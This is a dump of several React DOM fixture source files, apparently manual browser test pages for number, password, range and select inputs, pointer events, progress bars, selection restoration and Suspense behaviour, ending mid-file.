    "content": "import Fixture from '../../Fixture';\n\nconst React = window.React;\n\nclass NumberInputExtraZeroes extends React.Component {\n  state = {value: '3.0000'};\n  changeValue = () => {\n    this.setState({\n      value: '3.0000',\n    });\n  };\n  onChange = event => {\n    this.setState({value: event.target.value});\n  };\n  render() {\n    const {value} = this.state;\n    return (\n      <Fixture>\n        <div>{this.props.children}</div>\n\n        <div className=\"control-box\">\n          <input type=\"number\" value={value} onChange={this.onChange} />\n          <button onClick={this.changeValue}>Reset to \"3.0000\"</button>\n        </div>\n      </Fixture>\n    );\n  }\n}\n\nexport default NumberInputExtraZeroes;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/number-inputs/NumberTestCase.js",
    "content": "import Fixture from '../../Fixture';\n\nconst React = window.React;\n\nclass NumberTestCase extends React.Component {\n  state = {value: ''};\n  onChange = event => {\n    const parsed = parseFloat(event.target.value, 10);\n    const value = isNaN(parsed) ? '' : parsed;\n\n    this.setState({value});\n  };\n  render() {\n    return (\n      <Fixture>\n        <div>{this.props.children}</div>\n\n        <div className=\"control-box\">\n          <fieldset>\n            <legend>Controlled</legend>\n            <input\n              type=\"number\"\n              value={this.state.value}\n              onChange={this.onChange}\n            />\n            <span className=\"hint\">\n              {' '}\n              Value: {JSON.stringify(this.state.value)}\n            </span>\n          </fieldset>\n\n          <fieldset>\n            <legend>Uncontrolled</legend>\n            <input type=\"number\" defaultValue={0.5} />\n          </fieldset>\n        </div>\n      </Fixture>\n    );\n  }\n}\n\nexport default NumberTestCase;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/number-inputs/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\nimport NumberTestCase from './NumberTestCase';\nimport NumberInputDecimal from './NumberInputDecimal';\nimport NumberInputExtraZeroes from './NumberInputExtraZeroes';\n\nconst React = window.React;\n\nfunction NumberInputs() {\n  return (\n    <FixtureSet\n      title=\"Number inputs\"\n      description=\"Number inputs inconsistently assign and report the value\n                     property depending on the browser.\">\n      <TestCase\n        title=\"Backspacing\"\n        description=\"The decimal place should not be lost\">\n        <TestCase.Steps>\n          <li>Type \"3.1\"</li>\n          <li>Press backspace, eliminating the \"1\"</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read \"3.\", preserving the decimal place\n        </TestCase.ExpectedResult>\n\n        <NumberTestCase />\n\n        <p className=\"footnote\">\n          <b>Notes:</b> Modern Chrome and Safari {'<='} 6 clear trailing\n          decimals on blur. React makes this concession so that the value\n          attribute remains in sync with the value property.\n        </p>\n      </TestCase>\n\n      <TestCase\n        title=\"Decimal precision\"\n        description=\"Supports decimal precision greater than 2 places\">\n        <TestCase.Steps>\n          <li>Type \"0.01\"</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read \"0.01\"\n        </TestCase.ExpectedResult>\n\n        <NumberTestCase />\n      </TestCase>\n\n      <TestCase\n        title=\"Exponent form\"\n        description=\"Supports exponent form ('2e4')\">\n        <TestCase.Steps>\n          <li>Type \"2e\"</li>\n          <li>Type 4, to read \"2e4\"</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read \"2e4\". The parsed value should read \"20000\"\n        </TestCase.ExpectedResult>\n\n        <NumberTestCase />\n      </TestCase>\n\n      <TestCase title=\"Exponent Form\" description=\"Pressing 'e' at the end\">\n        <TestCase.Steps>\n          <li>Type \"3.14\"</li>\n          <li>Press \"e\", so that the input reads \"3.14e\"</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read \"3.14e\", the parsed value should be empty\n        </TestCase.ExpectedResult>\n\n        <NumberTestCase />\n      </TestCase>\n\n      <TestCase\n        title=\"Exponent Form\"\n        description=\"Supports pressing 'ee' in the middle of a number\">\n        <TestCase.Steps>\n          <li>Type \"3.14\"</li>\n          <li>Move the text cursor to after the decimal place</li>\n          <li>Press \"e\" twice, so that the value reads \"3.ee14\"</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read \"3.ee14\"\n        </TestCase.ExpectedResult>\n\n        <NumberTestCase />\n      </TestCase>\n\n      <TestCase\n        title=\"Trailing Zeroes\"\n        description=\"Typing '3.0' preserves the trailing zero\">\n        <TestCase.Steps>\n          <li>Type \"3.0\"</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read \"3.0\"\n        </TestCase.ExpectedResult>\n\n        <NumberTestCase />\n      </TestCase>\n\n      <TestCase\n        title=\"Inserting decimals precision\"\n        description=\"Inserting '.' in to '300' maintains the trailing zeroes\">\n        <TestCase.Steps>\n          <li>Type \"300\"</li>\n          <li>Move the cursor to after the \"3\"</li>\n          <li>Type \".\"</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read \"3.00\", not \"3\"\n        </TestCase.ExpectedResult>\n        <NumberTestCase />\n      </TestCase>\n\n      <TestCase\n        title=\"Replacing numbers with -\"\n        description=\"Replacing a number with the '-' sign should not clear the value\">\n        <TestCase.Steps>\n          <li>Type \"3\"</li>\n          <li>Select the entire value\"</li>\n          <li>Type '-' to replace '3' with '-'</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read \"-\", not be blank.\n        </TestCase.ExpectedResult>\n        <NumberTestCase />\n      </TestCase>\n\n      <TestCase\n        title=\"Negative numbers\"\n        description=\"Typing minus when inserting a negative number should work\">\n        <TestCase.Steps>\n          <li>Type \"-\"</li>\n          <li>Type '3'</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read \"-3\".\n        </TestCase.ExpectedResult>\n        <NumberTestCase />\n      </TestCase>\n      <TestCase\n        title=\"Decimal numbers\"\n        description=\"eg: initial value is '.98', when format to '0.98', should change to '0.98' \">\n        <TestCase.Steps>\n          <li>initial value is '.98'</li>\n          <li>setState to '0.98'</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          the input value should be '0.98'.\n        </TestCase.ExpectedResult>\n        <NumberInputDecimal />\n      </TestCase>\n\n      <TestCase\n        title=\"Trailing zeroes\"\n        description=\"Extraneous zeroes should be retained when changing the value via setState\">\n        <TestCase.Steps>\n          <li>Change the text to 4.0000</li>\n          <li>Click \"Reset to 3.0000\"</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should read 3.0000, not 3\n        </TestCase.ExpectedResult>\n\n        <NumberInputExtraZeroes />\n\n        <p className=\"footnote\">\n          <b>Notes:</b> Firefox drops extraneous zeroes when assigned. Zeroes\n          are preserved when editing, however directly assigning a new value\n          will drop zeroes. This{' '}\n          <a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1003896\">\n            is a bug in Firefox\n          </a>{' '}\n          that we can not control for.\n        </p>\n      </TestCase>\n    </FixtureSet>\n  );\n}\n\nexport default NumberInputs;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/password-inputs/PasswordTestCase.js",
    "content": "import Fixture from '../../Fixture';\n\nconst React = window.React;\n\nclass PasswordTestCase extends React.Component {\n  state = {value: ''};\n  onChange = event => {\n    this.setState({value: event.target.value});\n  };\n  render() {\n    return (\n      <Fixture>\n        <div>{this.props.children}</div>\n\n        <div className=\"control-box\">\n          <fieldset>\n            <legend>Controlled</legend>\n            <input\n              type=\"password\"\n              value={this.state.value}\n              onChange={this.onChange}\n            />\n            <span className=\"hint\">\n              {' '}\n              Value: {JSON.stringify(this.state.value)}\n            </span>\n          </fieldset>\n\n          <fieldset>\n            <legend>Uncontrolled</legend>\n            <input type=\"password\" defaultValue=\"\" />\n          </fieldset>\n        </div>\n      </Fixture>\n    );\n  }\n}\n\nexport default PasswordTestCase;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/password-inputs/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\nimport PasswordTestCase from './PasswordTestCase';\n\nconst React = window.React;\n\nfunction NumberInputs() {\n  return (\n    <FixtureSet title=\"Password inputs\">\n      <TestCase\n        title=\"The show password icon\"\n        description={`\n          Some browsers have an unmask password icon that React accidentally\n          prevents the display of.\n        `}\n        affectedBrowsers=\"IE Edge, IE 11\">\n        <TestCase.Steps>\n          <li>Type any string (not an actual password)</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The field should include the \"unmasking password\" icon.\n        </TestCase.ExpectedResult>\n\n        <PasswordTestCase />\n      </TestCase>\n    </FixtureSet>\n  );\n}\n\nexport default NumberInputs;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/pointer-events/drag-box.js",
    "content": "const React = window.React;\n\nconst CIRCLE_SIZE = 80;\n\nclass DragBox extends React.Component {\n  state = {\n    hasCapture: false,\n    circleLeft: 80,\n    circleTop: 80,\n  };\n  isDragging = false;\n  previousLeft = 0;\n  previousTop = 0;\n\n  onDown = event => {\n    this.isDragging = true;\n    event.target.setPointerCapture(event.pointerId);\n\n    // We store the initial coordinates to be able to calculate the changes\n    // later on.\n    this.extractPositionDelta(event);\n  };\n\n  onMove = event => {\n    if (!this.isDragging) {\n      return;\n    }\n    const {left, top} = this.extractPositionDelta(event);\n\n    this.setState(({circleLeft, circleTop}) => ({\n      circleLeft: circleLeft + left,\n      circleTop: circleTop + top,\n    }));\n  };\n\n  onUp = event => (this.isDragging = false);\n  onGotCapture = event => this.setState({hasCapture: true});\n  onLostCapture = event => this.setState({hasCapture: false});\n\n  extractPositionDelta = event => {\n    const left = event.pageX;\n    const top = event.pageY;\n    const delta = {\n      left: left - this.previousLeft,\n      top: top - this.previousTop,\n    };\n    this.previousLeft = left;\n    this.previousTop = top;\n    return delta;\n  };\n\n  render() {\n    const {hasCapture, circleLeft, circleTop} = this.state;\n\n    const boxStyle = {\n      border: '1px solid #d9d9d9',\n      margin: '10px 0 20px',\n      minHeight: 400,\n      width: '100%',\n      position: 'relative',\n    };\n\n    const circleStyle = {\n      width: CIRCLE_SIZE,\n      height: CIRCLE_SIZE,\n      borderRadius: CIRCLE_SIZE / 2,\n      position: 'absolute',\n      left: circleLeft,\n      top: circleTop,\n      backgroundColor: hasCapture ? 'blue' : 'green',\n      touchAction: 'none',\n    };\n\n    return (\n      <div style={boxStyle}>\n        <div\n          style={circleStyle}\n          onPointerDown={this.onDown}\n          onPointerMove={this.onMove}\n          onPointerUp={this.onUp}\n          onPointerCancel={this.onUp}\n          onGotPointerCapture={this.onGotCapture}\n          onLostPointerCapture={this.onLostCapture}\n        />\n      </div>\n    );\n  }\n}\n\nexport default DragBox;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/pointer-events/drag.js",
    "content": "import TestCase from '../../TestCase';\nimport DragBox from './drag-box';\n\nconst React = window.React;\n\nclass Drag extends React.Component {\n  render() {\n    return (\n      <TestCase title=\"Drag\" description=\"\">\n        <TestCase.Steps>\n          <li>Drag the circle below with any pointer tool</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          While dragging, the circle must have turn blue to indicate that a\n          pointer capture was received.\n        </TestCase.ExpectedResult>\n\n        <DragBox />\n      </TestCase>\n    );\n  }\n}\n\nexport default Drag;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/pointer-events/hover-box.js",
    "content": "const React = window.React;\n\nclass DrawBox extends React.Component {\n  render() {\n    const boxStyle = {\n      border: '1px solid #d9d9d9',\n      margin: '10px 0 20px',\n      padding: '20px 20px',\n      touchAction: 'none',\n    };\n\n    const obstacleStyle = {\n      border: '1px solid #d9d9d9',\n      width: '25%',\n      height: '200px',\n      margin: '12.5%',\n      display: 'inline-block',\n    };\n\n    return (\n      <div\n        style={boxStyle}\n        onPointerOver={this.props.onOver}\n        onPointerOut={this.props.onOut}\n        onPointerEnter={this.props.onEnter}\n        onPointerLeave={this.props.onLeave}>\n        <div style={obstacleStyle} />\n        <div style={obstacleStyle} />\n      </div>\n    );\n  }\n}\n\nexport default DrawBox;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/pointer-events/hover.js",
    "content": "import TestCase from '../../TestCase';\nimport HoverBox from './hover-box';\n\nconst React = window.React;\n\nclass Hover extends React.Component {\n  state = {\n    overs: 0,\n    outs: 0,\n    enters: 0,\n    leaves: 0,\n  };\n\n  onOver = () => this.setState({overs: this.state.overs + 1});\n  onOut = () => this.setState({outs: this.state.outs + 1});\n  onEnter = () => this.setState({enters: this.state.enters + 1});\n  onLeave = () => this.setState({leaves: this.state.leaves + 1});\n\n  render() {\n    const {overs, outs, enters, leaves} = this.state;\n\n    return (\n      <TestCase title=\"Hover\" description=\"\">\n        <TestCase.Steps>\n          <li>Hover over the above box and the obstacles</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          Overs and outs should increase when moving over the obstacles but\n          enters and leaves should not.\n        </TestCase.ExpectedResult>\n\n        <HoverBox\n          onOver={this.onOver}\n          onOut={this.onOut}\n          onEnter={this.onEnter}\n          onLeave={this.onLeave}\n        />\n\n        <p>\n          Pointer Overs: <b>{overs}</b> <br />\n          Pointer Outs: <b>{outs}</b> <br />\n          Pointer Enters: <b>{enters}</b> <br />\n          Pointer Leaves: <b>{leaves}</b> <br />\n        </p>\n      </TestCase>\n    );\n  }\n}\n\nexport default Hover;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/pointer-events/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport Drag from './drag';\nimport Hover from './hover';\n\nconst React = window.React;\n\nclass PointerEvents extends React.Component {\n  render() {\n    return (\n      <FixtureSet\n        title=\"Pointer Events\"\n        description=\"Pointer Events are not supported in every browser. The examples below might not work in every browser. To test pointer events, make sure to use Google Chrome, Firefox, Internet Explorer, or Edge.\">\n        <Drag />\n        <Hover />\n      </FixtureSet>\n    );\n  }\n}\n\nexport default PointerEvents;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/progress/index.js",
    "content": "import Fixture from '../../Fixture';\nimport FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\n\nconst React = window.React;\n\nclass ProgressFixture extends React.Component {\n  state = {value: 0, max: 1, enabled: false, backwards: false};\n\n  startTest = () => {\n    this.setState({enabled: true}, () => {\n      this.progressIntervalId = setInterval(() => {\n        if (this.state.backwards) {\n          if (this.state.value > 0) {\n            this.setState({value: this.state.value - this.state.max / 100});\n          } else {\n            if (this.state.max === 10000) {\n              this.resetTest();\n            } else {\n              this.setState({max: this.state.max * 100, backwards: false});\n            }\n          }\n        } else {\n          if (this.state.value < this.state.max) {\n            this.setState({value: this.state.value + this.state.max / 100});\n          } else {\n            this.setState({backwards: true});\n          }\n        }\n      }, 10);\n    });\n  };\n\n  resetTest = () => {\n    clearInterval(this.progressIntervalId);\n    this.setState({value: 0, max: 1, enabled: false, backwards: false});\n  };\n\n  render() {\n    return (\n      <FixtureSet title=\"Progress\">\n        <TestCase title=\"Fill and reset progress bar\">\n          <TestCase.Steps>\n            <li>Press enable button</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            When enabled, bar value should increase from 0% to 100% and\n            backwards during three step loop: 0-1, 0-100, 0-10000. Reset button\n            stops loop, sets value to 0 and max to 1.\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <div className=\"control-box\">\n              <fieldset>\n                <legend>Controlled</legend>\n                <progress\n                  value={this.state.value}\n                  max={this.state.max}></progress>\n                <button\n                  onClick={\n                    this.state.enabled ? this.resetTest : this.startTest\n                  }>\n                  {this.state.enabled ? 'Reset' : 'Enable'}\n                </button>\n                <br />\n                <span className=\"hint\">\n                  {' '}\n                  max: {JSON.stringify(this.state.max)}\n                </span>\n                <span className=\"hint\">\n                  {' '}\n                  value:{' '}\n                  {JSON.stringify(\n                    Math.round((this.state.value + Number.EPSILON) * 100) / 100\n                  )}\n                </span>\n              </fieldset>\n            </div>\n          </Fixture>\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n\nexport default ProgressFixture;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/range-inputs/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\n\nconst React = window.React;\n\nclass RangeInputs extends React.Component {\n  state = {value: 0.5};\n  onChange = event => {\n    this.setState({value: event.target.value});\n  };\n  render() {\n    return (\n      <FixtureSet\n        title=\"Range Inputs\"\n        description=\"Note: Range inputs are not supported in IE9.\">\n        <form>\n          <fieldset>\n            <legend>Controlled</legend>\n            <input\n              type=\"range\"\n              value={this.state.value}\n              onChange={this.onChange}\n            />\n            <span className=\"hint\">Value: {this.state.value}</span>\n          </fieldset>\n\n          <fieldset>\n            <legend>Uncontrolled</legend>\n            <input type=\"range\" defaultValue={0.5} />\n          </fieldset>\n        </form>\n      </FixtureSet>\n    );\n  }\n}\n\nexport default RangeInputs;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/selection-events/OnSelectEventTestCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Iframe from '../../Iframe';\nconst React = window.React;\n\nclass OnSelectIframe extends React.Component {\n  state = {count: 0, value: 'Select Me!'};\n\n  _onSelect = event => {\n    this.setState(({count}) => ({count: count + 1}));\n  };\n\n  _onChange = event => {\n    this.setState({value: event.target.value});\n  };\n\n  render() {\n    const {count, value} = this.state;\n    return (\n      <Iframe height={60}>\n        Selection Event Count: {count}\n        <input\n          type=\"text\"\n          onSelect={this._onSelect}\n          value={value}\n          onChange={this._onChange}\n        />\n      </Iframe>\n    );\n  }\n}\n\nexport default class OnSelectEventTestCase extends React.Component {\n  render() {\n    return (\n      <TestCase\n        title=\"onSelect events within iframes\"\n        description=\"onSelect events should fire for elements rendered inside iframes\">\n        <TestCase.Steps>\n          <li>Highlight some of the text in the input below</li>\n          <li>Move the cursor around using the arrow keys</li>\n        </TestCase.Steps>\n        <TestCase.ExpectedResult>\n          The displayed count should increase as you highlight or move the\n          cursor\n        </TestCase.ExpectedResult>\n        <OnSelectIframe />\n      </TestCase>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/selection-events/ReorderedInputsTestCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Iframe from '../../Iframe';\nconst React = window.React;\n\nexport default class ReorderedInputsTestCase extends React.Component {\n  state = {count: 0};\n\n  componentDidMount() {\n    this.interval = setInterval(() => {\n      this.setState({count: this.state.count + 1});\n    }, 2000);\n  }\n\n  componentWillUnmount() {\n    clearInterval(this.interval);\n  }\n\n  renderInputs() {\n    const inputs = [\n      <input key={1} defaultValue=\"Foo\" />,\n      <input key={2} defaultValue=\"Bar\" />,\n    ];\n    if (this.state.count % 2 === 0) {\n      inputs.reverse();\n    }\n    return inputs;\n  }\n\n  render() {\n    return (\n      <TestCase title=\"Reordered input elements in iframes\" description=\"\">\n        <TestCase.Steps>\n          <li>The two inputs below swap positions every two seconds</li>\n          <li>Select the text in either of them</li>\n          <li>Wait for the swap to occur</li>\n        </TestCase.Steps>\n        <TestCase.ExpectedResult>\n          The selection you made should be maintained\n        </TestCase.ExpectedResult>\n        <Iframe height={50}>{this.renderInputs()}</Iframe>\n      </TestCase>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/selection-events/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport ReorderedInputsTestCase from './ReorderedInputsTestCase';\nimport OnSelectEventTestCase from './OnSelectEventTestCase';\nconst React = window.React;\n\nexport default function SelectionEvents() {\n  return (\n    <FixtureSet\n      title=\"Selection Restoration\"\n      description=\"\n      When React commits changes it may perform operations which cause existing\n      selection state to be lost. This is manually managed by reading the\n      selection state before commits and then restoring it afterwards.\n      \">\n      <ReorderedInputsTestCase />\n      <OnSelectEventTestCase />\n    </FixtureSet>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/selects/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\n\nconst React = window.React;\nconst ReactDOM = window.ReactDOM;\n\nclass SelectFixture extends React.Component {\n  state = {value: ''};\n  _nestedDOMNode = null;\n  _singleFormDOMNode = null;\n  _multipleFormDOMNode = null;\n\n  onChange = event => {\n    this.setState({value: event.target.value});\n  };\n\n  resetSingleOptionForm = event => {\n    event.preventDefault();\n    this._singleFormDOMNode.reset();\n  };\n\n  resetMultipleOptionForm = event => {\n    event.preventDefault();\n    this._multipleFormDOMNode.reset();\n  };\n\n  componentDidMount() {\n    this._renderNestedSelect();\n  }\n\n  componentDidUpdate() {\n    this._renderNestedSelect();\n  }\n\n  _renderNestedSelect() {\n    ReactDOM.render(\n      <select value={this.state.value} onChange={this.onChange}>\n        <option value=\"\">Select a color</option>\n        <option value=\"red\">Red</option>\n        <option value=\"blue\">Blue</option>\n        <option value=\"green\">Green</option>\n      </select>,\n      this._nestedDOMNode\n    );\n  }\n\n  render() {\n    return (\n      <FixtureSet title=\"Selects\">\n        <form className=\"field-group\">\n          <fieldset>\n            <legend>Controlled</legend>\n            <select value={this.state.value} onChange={this.onChange}>\n              <option value=\"\">Select a color</option>\n              <option value=\"red\">Red</option>\n              <option value=\"blue\">Blue</option>\n              <option value=\"green\">Green</option>\n            </select>\n            <span className=\"hint\">Value: {this.state.value}</span>\n          </fieldset>\n          <fieldset>\n            <legend>Uncontrolled</legend>\n            <select defaultValue=\"\">\n              <option value=\"\">Select a color</option>\n              <option value=\"red\">Red</option>\n              <option value=\"blue\">Blue</option>\n              <option value=\"green\">Green</option>\n            </select>\n          </fieldset>\n          <fieldset>\n            <legend>Controlled in nested subtree</legend>\n            <div ref={node => (this._nestedDOMNode = node)} />\n            <span className=\"hint\">\n              This should synchronize in both direction with the \"Controlled\".\n            </span>\n          </fieldset>\n        </form>\n\n        <TestCase title=\"A selected disabled option\" relatedIssues=\"2803\">\n          <TestCase.Steps>\n            <li>Open the select</li>\n            <li>Select \"1\"</li>\n            <li>Attempt to reselect \"Please select an item\"</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The initial picked option should be \"Please select an item\", however\n            it should not be a selectable option.\n          </TestCase.ExpectedResult>\n\n          <div className=\"test-fixture\">\n            <select defaultValue=\"\">\n              <option value=\"\" disabled>\n                Please select an item\n              </option>\n              <option>0</option>\n              <option>1</option>\n              <option>2</option>\n            </select>\n          </div>\n        </TestCase>\n\n        <TestCase title=\"An unselected disabled option\" relatedIssues=\"2803\">\n          <TestCase.ExpectedResult>\n            The initial picked option value should \"0\": the first non-disabled\n            option.\n          </TestCase.ExpectedResult>\n\n          <div className=\"test-fixture\">\n            <select defaultValue=\"\">\n              <option disabled>Please select an item</option>\n              <option>0</option>\n              <option>1</option>\n              <option>2</option>\n            </select>\n          </div>\n        </TestCase>\n\n        <TestCase title=\"A single select being reset\">\n          <TestCase.Steps>\n            <li>Open the select</li>\n            <li>Select \"baz\" or \"foo\"</li>\n            <li>Click the \"Reset\" button</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            The select should be reset to the initial value, \"bar\"\n          </TestCase.ExpectedResult>\n\n          <div className=\"test-fixture\">\n            <form ref={n => (this._singleFormDOMNode = n)}>\n              <select defaultValue=\"bar\">\n                <option value=\"foo\">foo</option>\n                <option value=\"bar\">bar</option>\n                <option value=\"baz\">baz</option>\n              </select>\n              <button onClick={this.resetSingleOptionForm}>Reset</button>\n            </form>\n          </div>\n        </TestCase>\n\n        <TestCase title=\"A multiple select being reset\">\n          <TestCase.Steps>\n            <li>Select any combination of options</li>\n            <li>Click the \"Reset\" button</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            The select should be reset to the initial values \"foo\" and \"baz\"\n          </TestCase.ExpectedResult>\n\n          <div className=\"test-fixture\">\n            <form ref={n => (this._multipleFormDOMNode = n)}>\n              <select multiple defaultValue={['foo', 'baz']}>\n                <option value=\"foo\">foo</option>\n                <option value=\"bar\">bar</option>\n                <option value=\"baz\">baz</option>\n              </select>\n              <button onClick={this.resetMultipleOptionForm}>Reset</button>\n            </form>\n          </div>\n        </TestCase>\n\n        <TestCase title=\"A multiple select being scrolled to first selected option\">\n          <TestCase.ExpectedResult>\n            First selected option should be visible\n          </TestCase.ExpectedResult>\n\n          <div className=\"test-fixture\">\n            <form>\n              <select multiple defaultValue={['tiger']}>\n                <option value=\"gorilla\">gorilla</option>\n                <option value=\"giraffe\">giraffe</option>\n                <option value=\"monkey\">monkey</option>\n                <option value=\"lion\">lion</option>\n                <option value=\"mongoose\">mongoose</option>\n                <option value=\"tiger\">tiger</option>\n              </select>\n            </form>\n          </div>\n        </TestCase>\n\n        <TestCase\n          title=\"An option which contains conditional render fails\"\n          relatedIssues=\"11911\">\n          <TestCase.Steps>\n            <li>Select any option</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            Option should be set\n          </TestCase.ExpectedResult>\n\n          <div className=\"test-fixture\">\n            <select value={this.state.value} onChange={this.onChange}>\n              <option value=\"red\">\n                red {this.state.value === 'red' && 'is chosen '} TextNode\n              </option>\n              <option value=\"blue\">\n                blue {this.state.value === 'blue' && 'is chosen '} TextNode\n              </option>\n              <option value=\"green\">\n                green {this.state.value === 'green' && 'is chosen '} TextNode\n              </option>\n            </select>\n          </div>\n        </TestCase>\n\n        <TestCase\n          title=\"A select with the size attribute should not set first option as selected\"\n          relatedIssues=\"14239\"\n          introducedIn=\"16.0.0\">\n          <TestCase.ExpectedResult>\n            No options should be selected.\n          </TestCase.ExpectedResult>\n\n          <div className=\"test-fixture\">\n            <select size=\"3\">\n              <option>0</option>\n              <option>1</option>\n              <option>2</option>\n            </select>\n          </div>\n\n          <p className=\"footnote\">\n            <b>Notes:</b> This happens if <code>size</code> is assigned after\n            options are selected. The select element picks the first item by\n            default, then it is expanded to show more options when{' '}\n            <code>size</code> is assigned, preserving the default selection.\n          </p>\n          <p className=\"footnote\">\n            This was introduced in React 16.0.0 when options were added before\n            select attribute assignment.\n          </p>\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n\nexport default SelectFixture;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/suspense/index.js",
    "content": "import Fixture from '../../Fixture';\nimport FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\n\nconst React = window.React;\nconst ReactDOM = window.ReactDOM;\n\nconst Suspense = React.Suspense;\n\nlet cache = new Set();\n\nfunction AsyncStep({text, ms}) {\n  if (!cache.has(text)) {\n    throw new Promise(resolve =>\n      setTimeout(() => {\n        cache.add(text);\n        resolve();\n      }, ms)\n    );\n  }\n  return null;\n}\n\nlet suspendyTreeIdCounter = 0;\nclass SuspendyTreeChild extends React.Component {\n  id = suspendyTreeIdCounter++;\n  state = {\n    step: 1,\n    isHidden: false,\n  };\n  increment = () => this.setState(s => ({step: s.step + 1}));\n\n  componentDidMount() {\n    document.addEventListener('keydown', this.onKeydown);\n  }\n\n  componentWillUnmount() {\n    document.removeEventListener('keydown', this.onKeydown);\n  }\n\n  onKeydown = event => {\n    if (event.metaKey && event.key === 'Enter') {\n      this.increment();\n    }\n  };\n\n  render() {\n    return (\n      <>\n        <Suspense fallback={<div>(display: none)</div>}>\n          <div>\n            <AsyncStep text={`${this.state.step} + ${this.id}`} ms={500} />\n            {this.props.children}\n          </div>\n        </Suspense>\n        <button onClick={this.increment}>Hide</button>\n      </>\n    );\n  }\n}\n\nclass SuspendyTree extends React.Component {\n  parentContainer = React.createRef(null);\n  container = React.createRef(null);\n  componentDidMount() {\n    this.setState({});\n    document.addEventListener('keydown', this.onKeydown);\n  }\n  componentWillUnmount() {\n    document.removeEventListener('keydown', this.onKeydown);\n  }\n  onKeydown = event => {\n    if (event.metaKey && event.key === '/') {\n      this.removeAndRestore();\n    }\n  };\n  removeAndRestore = () => {\n    const parentContainer = this.parentContainer.current;\n    const container = this.container.current;\n    parentContainer.removeChild(container);\n    parentContainer.textContent = '(removed from DOM)';\n    setTimeout(() => {\n      parentContainer.textContent = '';\n      parentContainer.appendChild(container);\n    }, 500);\n  };\n  render() {\n    return (\n      <>\n        <div ref={this.parentContainer}>\n          <div ref={this.container} />\n        </div>\n        <div>\n          {this.container.current !== null\n            ? ReactDOM.createPortal(\n                <>\n                  <SuspendyTreeChild>{this.props.children}</SuspendyTreeChild>\n                  <button onClick={this.removeAndRestore}>Remove</button>\n                </>,\n                this.container.current\n              )\n            : null}\n        </div>\n      </>\n    );\n  }\n}\n\nclass TextInputFixtures extends React.Component {\n  render() {\n    return (\n      <FixtureSet\n        title=\"Suspense\"\n        description=\"Preserving the state of timed-out children\">\n        <p>\n          Clicking \"Hide\" will hide the fixture context using{' '}\n          <code>display: none</code> for 0.5 seconds, then restore. This is the\n          built-in behavior for timed-out children. Each fixture tests whether\n          the state of the DOM is preserved. Clicking \"Remove\" will remove the\n          fixture content from the DOM for 0.5 seconds, then restore. This is{' '}\n          <strong>not</strong> how timed-out children are hidden, but is\n          included for comparison purposes.\n        </p>\n        <div className=\"footnote\">\n          As a shortcut, you can use Command + Enter (or Control + Enter on\n          Windows, Linux) to \"Hide\" all the fixtures, or Command + / to \"Remove\"\n          them.\n        </div>\n        <TestCase title=\"Text selection where entire range times out\">\n          <TestCase.Steps>\n            <li>Use your cursor to select the text below.</li>\n            <li>Click \"Hide\" or \"Remove\".</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            Text selection is preserved when hiding, but not when removing.\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <SuspendyTree>\n              Select this entire sentence (and only this sentence).\n            </SuspendyTree>\n          </Fixture>\n        </TestCase>\n        <TestCase title=\"Text selection that extends outside timed-out subtree\">\n          <TestCase.Steps>\n            <li>\n              Use your cursor to select a range that includes both the text and\n              the \"Go\" button.\n            </li>\n            <li>Click \"Hide\" or \"Remove\".</li>\n          </TestCase.Steps>\n\n          